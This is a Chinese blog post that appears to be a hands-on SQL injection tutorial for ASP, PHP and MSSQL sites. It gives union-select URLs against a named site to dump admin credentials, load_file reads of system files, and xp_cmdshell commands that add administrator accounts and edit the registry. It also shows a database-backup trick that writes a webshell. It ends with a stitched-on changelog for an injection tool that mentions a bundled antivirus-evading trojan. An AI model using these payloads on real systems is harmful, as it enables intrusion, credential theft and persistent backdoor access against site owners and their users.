网站注入原理

 

1.认识注入类型

不管是asp.aspx.php,注入的标准类型必为
http://www.xxxx.com/aa.asp?p=xxx
http://www.xxxx.com/aa.aspx?p=xxx
http://www.xxxx.com/aa.php?p=xxx

2.判断是否存在注入
不管是asp.aspx.php,注入点的判断都是这样的
http://xxx.xxx.xxx.xxx/down/show.php?id=26 and 1=1返回正常页
http://xxx.xxx.xxx.xxx/down/show.php?id=26 and 1=2,返回错误页

存在注入

3.猜解准确字段数
(不明白原理的请多看看这方面的文章,这只讲实际运用)
利用union来查询准确字段,如: and 1=2 union select 1,2,3,.......直到返回正常,说明猜到准确字

段数。如过滤了空格可以用 /**/代替。

http://www.hackcmd.com:81/news.php?id=780 and 1=2 union select 1,2,3,4,5,6,7
http://www.hackcmd.com:81/news.php?id=780/**/and/**/1=2/**/union/**/select/**/1,2,3,4,5,6,7

记下这个位置,3 和5

4.mysql也有内置变量,可以帮助我们获得更多信息
version()(4.0.21-nt)返回当前数据库版本信息,database(){db_atextile_org_cn} 返回当前数据库

名,user(),{tt1330@localhost}返回MYSQL用户名,可以帮助我们获得更多信息。这些都是很基础的东西

现在就在3和5这插入
http://www.hackcmd.com:81/news.p ... 0union%20select%201,2,version

(),4,5,6,7
Load_file可以返回文件的内容
(1),读取系统信息
[boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)WINDOWS [operating

systems] multi(0)disk(0)rdisk(0)partition(1)WINDOWS="Windows Server 2003, Enterprise"

/fastdetect /NoExecute=OptOut multi(0)disk(0)rdisk(1)partition(1)WINDOWS="Boot Mirror C: -

secondary plex" multi(0)disk(0)rdisk(1)partition(1)WINDOWS="Boot Mirror C: - secondary

plex"

(2)读取php配置信息

我们转化一下,
load_file(c:oot.ini)=load_file(char(99,58,92,98,111,111,116,46,105,110,105))


5.准确猜解表
如: and 1=1 union select 1,2,3,4,5,6.... from user 如果返回正常说明存在这个表。
http://www.hackcmd.com:81/news.php?id=780 and 1=1 union select 1,2,3,4,5,6,7 from admin
说明没有admin表
http://www.hackcmd.com:81/news.php?id=780 and 1=1 union select 1,2,3,4,5,6,7 from user
正常说明有这个表

6.猜解表中的字段
and 1=1 union select 1,username,3,4,5,6.... from user/*如果字段显示出字段内容则存在些字段。
http://www.hackcmd.com:81/news.php?id=780 and 1=1 union select 1,2,user,4,5,6,7 from user
http://www.hackcmd.com:81/news.php?id=780 and 1=1 union select 1,2,name,4,5,6,7 from user
有字段name
同理再猜解password字段,猜解成功再找后台登录。
http://www.hackcmd.com:81/news.php?id=780 and 1=1 union select 1,2,pass,4,5,6,7 from user
http://www.hackcmd.com:81/news.php?id=780 and 1=1 union select 1,2,pwd,4,5,6,7 from user
有字段pwd


7.暴管理员的用户名,密码是多少
http://www.hackcmd.com:81/news.php?id=780 and 1=2 union select 1,2,3,4,5,6,7 from user
http://www.hackcmd.com:81/news.php?id=780 and 1=2 union select 1,2,pwd,4,name,6,7 from user

name:admin
pwd:83863176
8.登录后台,上传shell。

手动注入的法及利用:

1.判断是否有注入;and 1=1 ;and 1=2

2.初步判断是否是mssql ;and user>0

3.注入参数是字符and [查询条件] and =

4.搜索时没过滤参数的and [查询条件] and %25=

5.判断数据库系统
;and (select count(*) from sysobjects)>0 mssql
;and (select count(*) from msysobjects)>0 access

6.猜数据库 ;and (select Count(*) from [数据库名])>0

7.猜字段 ;and (select Count(字段名) from 数据库名)>0

8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0

9.(1)猜字段的ascii值(access)
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0

(2)猜字段的ascii值(mssql)
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0

10.测试权限结构(mssql)
;and 1=(select IS_SRVROLEMEMBER(sysadmin));--
;and 1=(select IS_SRVROLEMEMBER(serveradmin));--
;and 1=(select IS_SRVROLEMEMBER(setupadmin));--
;and 1=(select IS_SRVROLEMEMBER(securityadmin));--
;and 1=(select IS_SRVROLEMEMBER(diskadmin));--
;and 1=(select IS_SRVROLEMEMBER(bulkadmin));--
;and 1=(select IS_MEMBER(db_owner));--

11.添加mssql和系统的帐户
;exec master.dbo.sp_addlogin username;--

;exec master.dbo.sp_password null,username,password;--

;exec master.dbo.sp_addsrvrolemember sysadmin username;--

;exec master.dbo.xp_cmdshell net user username password
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add;--

;exec master.dbo.xp_cmdshell net user username password /add;--

;exec master.dbo.xp_cmdshell net localgroup administrators username /add;--

12.(1)遍历目录

;create table dirs(paths varchar(100), id int)
;insert dirs exec master.dbo.xp_dirtree c:
;and (select top 1 paths from dirs)>0
;and (select top 1 paths from dirs where paths not in(上步得到的paths))>)

(2)遍历目录
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
;insert into temp(id) exec master.dbo.xp_subdirs c:;-- 获得子目录列表
;insert into temp(id,num1) exec master.dbo.xp_dirtree c:;-- 获得所有子目录的目录树构
;insert into temp(id) exec master.dbo.xp_cmdshell type c:webindex.asp;-- 查看文件的内容

13.mssql中的存储过程

xp_regenumvalues 注册表根键, 子键
;exec xp_regenumvalues HKEY_LOCAL_MACHINE,SOFTWAREMicrosoftWindowsCurrentVersionRun 以多个记录集方式返回所有键值

xp_regread 根键,子键,键值名
;exec xp_regread
HKEY_LOCAL_MACHINE,SOFTWAREMicrosoftWindowsCurrentVersion,CommonFilesDir 返回制定键的值

xp_regwrite 根键,子键, 值名, 值类型, 值
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
;exec xp_regwrite HKEY_LOCAL_MACHINE,SOFTWAREMicrosoftWindowsCurrentVersion,TestValueName,reg_sz,hello 写入注册表

xp_regdeletevalue 根键,子键,值名

exec xp_regdeletevalue HKEY_LOCAL_MACHINE,SOFTWAREMicrosoftWindowsCurrentVersion,TestValueName 删除某个值

xp_regdeletekey HKEY_LOCAL_MACHINE,SOFTWAREMicrosoftWindowsCurrentVersionTestkey 删除键,包括该键下所有值

14.mssql的backup创建webshell
use model
create table cmd(str image);
insert into cmd(str) values ();
backup database model to disk=c:l.asp;

15.mssql内置函数
;and (select @@version)>0 获得Windows的版本号
;and user_name()=dbo 判断当前系统的连接用户是不是sa
;and (select user_name())>0 爆当前系统的连接用户
;and (select db_name())>0 得到当前连接的数据库

16.简洁的webshell

use model

create table cmd(str image);

insert into cmd(str) values ();

backup database model to disk=g:wwwtestl.asp

Domain4.3(明小子)10.10.10更新版主要更新内容如下: 1.驱除部分死连接,恢复部分官方连接 2.改变默认显示页面为本人BLOG 3.修正程序在检测时出错的BUG 4.修正程序在部分系统中无法启动的BUG 5.加了一个功能模块,但还不成熟,隐藏了,高手的话可以用OD调出来!>!< 6.修复前段时间一些朋友反映的错误和程序宏 7.增加四款SKN皮肤! 10.10.11紧急更新: 1.修正新版程序在部分系统中启动后直接导致系统蓝屏的BUG 2.修正域名查询的几个错误 3.修正程序批量检测查询到域名的时候无反映的BUG! Domain4.2(明小子)10.01.16更新版主要更新内容如下: 1.删除所有无关数据 2.优化急速代码 3.改变启动线程 4.增加SQL数据批量导出功能 5.加入几个优化进程模块,非后门.后台运行. 6.锁定主程序栏目宽和高,不在恢复 7.删除“辅助工具”模块中全部代码 8.修正XP SP3 程序下兼容问题 9.重新改写域名查询旁站线程 程序于2018年01月16号调试完毕! 提别提示:第4个功能只能运行在完整版的windows XP 平台系统中,其他平台无法运行,如果出现恢复按钮并不能保存请自行调试与本程序无关.谢谢合作! 宝宝的话:有朋友们的鼓励才会有这个版本的发布,这当是我送给大家2010年里的第一个礼物吧。 Domain4.1(明小子)0901更新版主要更新内容如下: 1.增加新系统兼容模块,全面兼容2000-2008各系统 (部分精简版系统除外) 2.优化网站打开速度,删减部分无用内核信息,全面加快程序启动速度. 3.基于09.05.20号内核提升,改变搜查循环的一个死BUG! 4.删除在0520上增加的一个补针函数,并使用新的函数替换.保证不报错. 5.不在兼容xpsp3,因为没时间去修正这个错误。所以可能部分SP3系统运行不起来本程序 6.增加部分程序扩充空格代码,为下个版本更新做好铺垫 小提示:保留旧的IP反查连接系统,原因没有找到新的和稳定的IP反差服务器!如果有能提供的请与本人联系!谢谢合作 Domain4.1(明小子)0520更新版主要更新内容如下: 1.基于08.10.01号内核提升,修正一次关键错误。 2.替换原程序自带的那个小马,该为最新美化免杀版的小马! 3.添加一个服务器挂钩程序(非插件),使修改后的新内核兼容vista系统。 4.程序数据库默认名为:SetData.mdb 请大家使用3.5版本以上的MDB数据.其他低版本程序可能不兼容! 5.删除后台下载统计代码(以前没发现,本人也是从网站上面下的软件,排除作者自添加行为) 6.加了一个补针,针对sql注入功能中的一个小BUG。 7.删除了很多没有用的代码,最大限度的优化程序启动速度。 8.更新部分在xpsp3下出错的几个小BUG(小问题小解决,这个错误仅针对部分优化过度的XPSP3系统)。 提记:很多朋友说需要修改下程序IP域名查询功能,这里说明下.由于内核找不到关键句柄导致无法更新,下个版本在仔细看看! Domain4.0(明小子)1001更新版主要更新内容如下: 1.更新部分过度优化过的系统不兼容问题。 2.修改内存识别函数,使其降低软件在使用期间所占用的内存大小。 3.基于08.09.15号内核提升,修正因修改软件所出现的几个导致软件崩溃的几个BUG。 4.换了软件自带的那个垃圾皮肤。加入兼容美化皮肤!更美观! 5.兼容前版本数据库支持功能
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值